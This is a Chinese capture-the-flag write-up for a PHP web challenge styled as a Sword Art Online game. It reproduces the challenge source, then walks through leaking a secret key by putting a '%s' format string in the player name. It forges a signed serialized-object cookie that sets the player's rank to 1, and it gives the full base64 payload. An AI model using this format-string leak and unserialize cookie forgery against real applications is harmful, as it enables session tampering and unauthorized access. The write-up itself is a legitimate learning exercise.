后面wp篇幅有些长,分开写了。
序列之争
-
涉及内容
- PHP反序列化漏洞
- PHP格式化字符串漏洞
- 代码审计
打开页面发现是一个刀剑神域的小游戏,输入姓名可以开始。
(果然打CTF的都是死肥宅)
先随便输个姓名,进入游戏界面。
还有个人信息一栏:
随便尝试了一下这个小游戏,表面上的逻辑很简单,打怪即可获取经验,然后排名会上升,但是上升到第2名就无论如何都不会上升了,显然需要一些其他手段来提升到第1名。看看页面源码,尝试找找线索。
发现注释提示
拉到本地,发现是题目源码。贴出来如下:
cardinal.php
//cardinal.php
<?php
error_reporting(0);
session_start();
class Game
{
private $encryptKey = 'SUPER_SECRET_KEY_YOU_WILL_NEVER_KNOW';
public $welcomeMsg = '%s, Welcome to Ordinal Scale!';
private $sign = '';
public $rank;
public function __construct($playerName){
$_SESSION['player'] = $playerName; //为session创建player
if(!isset($_SESSION['exp'])){
$_SESSION['exp'] = 0; //设定初始经验
}
$data = [$playerName, $this->encryptKey];
$this->init($data);
$this->monster = new Monster($this->sign);
$this->rank = new Rank();
}
private function init($data){
foreach($data as $key => $value){
$this->welcomeMsg = sprintf($this->welcomeMsg, $value); //欢迎信息
$this->sign .= md5($this->sign . $value);
}
}
}
class Rank
{
private $rank;
private $serverKey; // 服务器的 Key
private $key = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx';
public function __construct(){
if(!isset($_SESSION['rank'])){
$this->Set(rand(2, 1000)); //如果不存在就随机设定rand
return;
}
$this->Set($_SESSION['rank']); //存在的话就设定session里的rank
}
public function Set($no){
$this->rank = $no; //rank的赋值函数
}
public function Get(){
return $this->rank; //获取rank值
}
public function Fight($monster){
if($monster['no'] >= $this->rank){
$this->rank -= rand(5, 15); //赢了则前进随机5-15名
if($this->rank <= 2){
$this->rank = 2; //第二名则不前进
}
$_SESSION['exp'] += rand(20, 200); //随机加经验
return array(
'result' => true,
'msg' => '<span style="color:green;">Congratulations! You win! </span>'
);
}else{
return array(
'result' => false,
'msg' => '<span style="color:red;">You die!</span>'
);
}
}
// public function __destruct(){
// // 确保程序是跑在服务器上的!
// $this->serverKey = $_SERVER['key'];
// if($this->key === $this->serverKey){
// $_SESSION['rank'] = $this->rank;
// }else{
// // 非正常访问
// session_start();
// session_destroy();
// setcookie('monster', '');
// header('Location: index.php');
// exit;
// }
// }
}
class Monster
{
private $monsterData;
private $encryptKey;
public function __construct($key){
$this->encryptKey = $key;
if(!isset($_COOKIE['monster'])){ //如果不存在怪兽就新set一个
$this->Set();
return;
}
$monsterData = base64_decode($_COOKIE['monster']); //对cookie进行base64解码
if(strlen($monsterData) > 32){
$sign = substr($monsterData, -32); //sign是后32位
$monsterData = substr($monsterData, 0, strlen($monsterData) - 32);
echo "<br/>".$sign."<br/>".$monsterData."<br/>".md5($monsterData . $this->encryptKey);
if(md5($monsterData . $this->encryptKey) === $sign){
$this->monsterData = unserialize($monsterData); //逆序列化怪兽信息数组
}else{
session_start();
session_destroy();
setcookie('monster', '');
header('Location: index.php');
exit;
}
}
$this->Set();
}
public function Set(){
$monsterName = ['无名小怪', 'BOSS: The Kernal Cosmos', '小怪: Big Eggplant', 'BOSS: The Mole King', 'BOSS: Zero Zone Witch'];
$this->monsterData = array(
'name' => $monsterName[array_rand($monsterName, 1)], //随机生成小怪
'no' => rand(1, 2000),
);
$this->Save();
}
public function Get(){
return $this->monsterData; //获取怪兽信息
}
private function Save(){
$sign = md5(serialize($this->monsterData) . $this->encryptKey);
setcookie('monster', base64_encode(serialize($this->monsterData) . $sign));
}
}
game.php
<!-- game.php -->
<?php
error_reporting(0);
include_once('cardinal.php');
if(isset($_SESSION['player'])){
$playerName = $_SESSION['player'];
}else{
$playerName = $_POST['player'] ?? '';
if($playerName === '' || is_array($playerName)){
header('Location: index.php');
exit;
}
}
$game = new Game($playerName);
?>
<html lang="en"><head>
<meta charset="utf-8">
<title>Ordinal Scale · 序列之争</title>
<!-- Bootstrap core CSS -->
<link href="/static/bootstrap.min.css" rel="stylesheet"></link>
<style>
.bd-placeholder-img {
font-size: 1.125rem;
text-anchor: middle;
-webkit-user-select: none;
-moz-user-select: none;
-ms-user-select: none;
user-select: none;
}
@media (min-width: 768px) {
.bd-placeholder-img-lg {
font-size: 3.5rem;
}
}
</style>
<link href="/static/cover.css" rel="stylesheet">
</head>
<body class="text-center" style="background-image:url('/static/bg.jpg')">
<div class="cover-container d-flex w-100 h-100 p-3 mx-auto flex-column">
<header class="masthead mb-auto">
<div class="inner">
<h3 class="masthead-brand">Ordinal Scale</h3>
<nav class="nav nav-masthead justify-content-center">
<span class="nav-link active"><b>当前排名: <?php echo($game->rank->Get());?></b></span>
<span class="nav-link active">经验: <?php echo($_SESSION['exp']);?></span>
<a class="nav-link" href="#">登出</a>
</nav>
</div>
</header>
<main role="main" class="inner cover">
<h2 class="cover-heading"><?php echo($game->welcomeMsg);?></h2>
<h1># <?php echo($game->rank->Get());?></h1>
<?php if($game->rank->Get() === 1){?>
<h2>hgame{flag_is_here}</h2>
<?php }?>
<br>
<div class="card" style="color: #007bff;">
<h2 class="card-header"><?php echo($game->monster->Get()['name']);?></h2>
<div class="card-body">
<h5 class="card-title">等级: <?php echo($game->monster->Get()['no']);?></h5>
<h5>
<?php if(isset($_POST['battle'])){
$fight = $game->rank->Fight($game->monster->Get());
echo($fight['msg']);
if(!$fight['result']){
$_SESSION['player'] = NULL;
}
}
$game->monster->Set();
?>
</h5>
<form method="POST" action="">
<input type="hidden" name="battle" value="1"></input>
<br><br>
<?php if(isset($_POST['battle']) && !$fight['result']){?>
<button class="btn">退出</button>
<?php }else{?>
<button class="btn btn-primary">挑战!</button>
<?php } ?>
</form>
</div>
</div>
</main>
<?php include_once('template/footer.php');?>
(里面有些注释是我看的时候顺便加的,不是原本就有,还有一个检查是否在服务器上运行的模块,被我注释掉了)
代码很长,具体的请自行分析,我这里只简单总结一下:
当$Game->rank->Get()
返回值等于1时,输出Flag,但是发现源码中有这个限制:
if($this->rank <= 2){$this->rank = 2;}
通过游戏并不可能达到1。
另外发现存在一个反序列化的点:
if(md5($monsterData . $this->encryptKey) === $sign){
$this->monsterData = unserialize($monsterData);}
显然是通过这个反序列化的点,通过对象注入覆盖原本的值,使rank等于1。
至于这个$monsterData
的值,是从cookie中得到的,源码中也给出了cookie的构造,所以cookie也就是payload的注入点。
详细可以见我另一篇博客的0x01部分。[传送门]
但是还有前面的if条件必须想办法解决,要么绕过,要么必须想办法得到$encryptKey
。又发现可疑的点:
private function init($data){
foreach($data as $key => $value){
$this->welcomeMsg = sprintf($this->welcomeMsg, $value);
$this->sign .= md5($this->sign . $value);
}
}
$data
里面存在$encryptKey
的值,但是是这个数组里的第二组值,而第一次%s
被输入的名字置换以后,第二组键值不会被再抛出。解决办法很简单,如果名字含有%s
,那么第二组键值也会被置换在欢迎信息中,从而得到$encryptKey
。
名字写上shabi%s
,页面输出:
得到加密用的key为gkUFUa7GfPQui3DGUTHX6XIUS3ZAmClL
。
第一个问题解决了,接下来先计算个人签名。鉴于源码已经给了,就不用费力分析签名是怎么来的了,直接改一下源码在本地运行:
//计算个人签名
class Game
{
private $encryptKey = 'gkUFUa7GfPQui3DGUTHX6XIUS3ZAmClL'; //替换成得到的Key
public $welcomeMsg = '%s, Welcome to Ordinal Scale!';
private $sign = '';
public $rank;
public function __construct($playerName){
$data = [$playerName, $this->encryptKey];
$this->init($data);
$this->monster = new Monster($this->sign);
$this->rank = new Rank();
}
private function init($data){
foreach($data as $key => $value){
$this->welcomeMsg = sprintf($this->welcomeMsg, $value); //欢迎信息
$this->sign .= md5($this->sign . $value);
}
echo $this->sign; //自己加的一句 输出签名
}
}
$new = new Game('shabi');
得到个人签名:414c7ad55625f289003613764448a05573b610f5c306a5e8129542d1b4789cdf
接下来就是计算cookie了。
根据源码中的计算方法,构造代码:
<?php
$seria = 'O:4:"Game":5:{S:16:"\00Game\00encryptKey";s:32:"gkUFUa7GfPQui3DGUTHX6XIUS3ZAmClL";s:10:"welcomeMsg";s:32:"shabi, Welcome to Ordinal Scale!";S:10:"\00Game\00sign";s:64:"414c7ad55625f289003613764448a05573b610f5c306a5e8129542d1b4789cdf";s:4:"rank";O:4:"Rank":3:{S:10:"\00Rank\00rank";i:1;}s:7:"monster";O:7:"Monster":2:{S:20:"\00Monster\00monsterData";a:2:{s:4:"name";s:7:"bigboss";s:2:"no";i:1;}S:19:"\00Monster\00encryptKey";s:64:"414c7ad55625f289003613764448a05573b610f5c306a5e8129542d1b4789cdf";}}';
$encryptKey = "414c7ad55625f289003613764448a05573b610f5c306a5e8129542d1b4789cdf";
$sign = md5($seria.$encryptKey);
$cookie = base64_encode($seria. $sign);
var_dump($GLOBALS);
至于序列化字符串,这里完全不需要自己构造,修改一下源码,在本地让它自行生成即可。将其中Rank改为1:O:4:"Rank":3:{S:10:"\00Rank\00rank";i:1;}
得到payload:
Tzo0OiJHYW1lIjo1OntTOjE2OiJcMDBHYW1lXDAwZW5jcnlwdEtleSI7czozMjoiZ2tVRlVhN0dmUFF1aTNER1VUSFg2WElVUzNaQW1DbEwiO3M6MTA6IndlbGNvbWVNc2ciO3M6MzI6InNoYWJpLCBXZWxjb21lIHRvIE9yZGluYWwgU2NhbGUhIjtTOjEwOiJcMDBHYW1lXDAwc2lnbiI7czo2NDoiNDE0YzdhZDU1NjI1ZjI4OTAwMzYxMzc2NDQ0OGEwNTU3M2I2MTBmNWMzMDZhNWU4MTI5NTQyZDFiNDc4OWNkZiI7czo0OiJyYW5rIjtPOjQ6IlJhbmsiOjM6e1M6MTA6IlwwMFJhbmtcMDByYW5rIjtpOjE7fXM6NzoibW9uc3RlciI7Tzo3OiJNb25zdGVyIjoyOntTOjIwOiJcMDBNb25zdGVyXDAwbW9uc3RlckRhdGEiO2E6Mjp7czo0OiJuYW1lIjtzOjc6ImJpZ2Jvc3MiO3M6Mjoibm8iO2k6MTt9UzoxOToiXDAwTW9uc3RlclwwMGVuY3J5cHRLZXkiO3M6NjQ6IjQxNGM3YWQ1NTYyNWYyODkwMDM2MTM3NjQ0NDhhMDU1NzNiNjEwZjVjMzA2YTVlODEyOTU0MmQxYjQ3ODljZGYiO319OTE3YWVhZjkxNGM2M2YwMTYzYWE3ZTM0NTg1ZTMwYzI=
回到游戏页面,把cookie改成我们计算出的值:
重新挑战,得到发现自己是第一了 (^ - ^)
最后要不是出题人自己说我都没发现这题还有彩蛋,页面右上角的登出键点击后无法登出,完全符合刀剑原著,点个赞,老二次元了~
(个人整理,如有错误欢迎指正)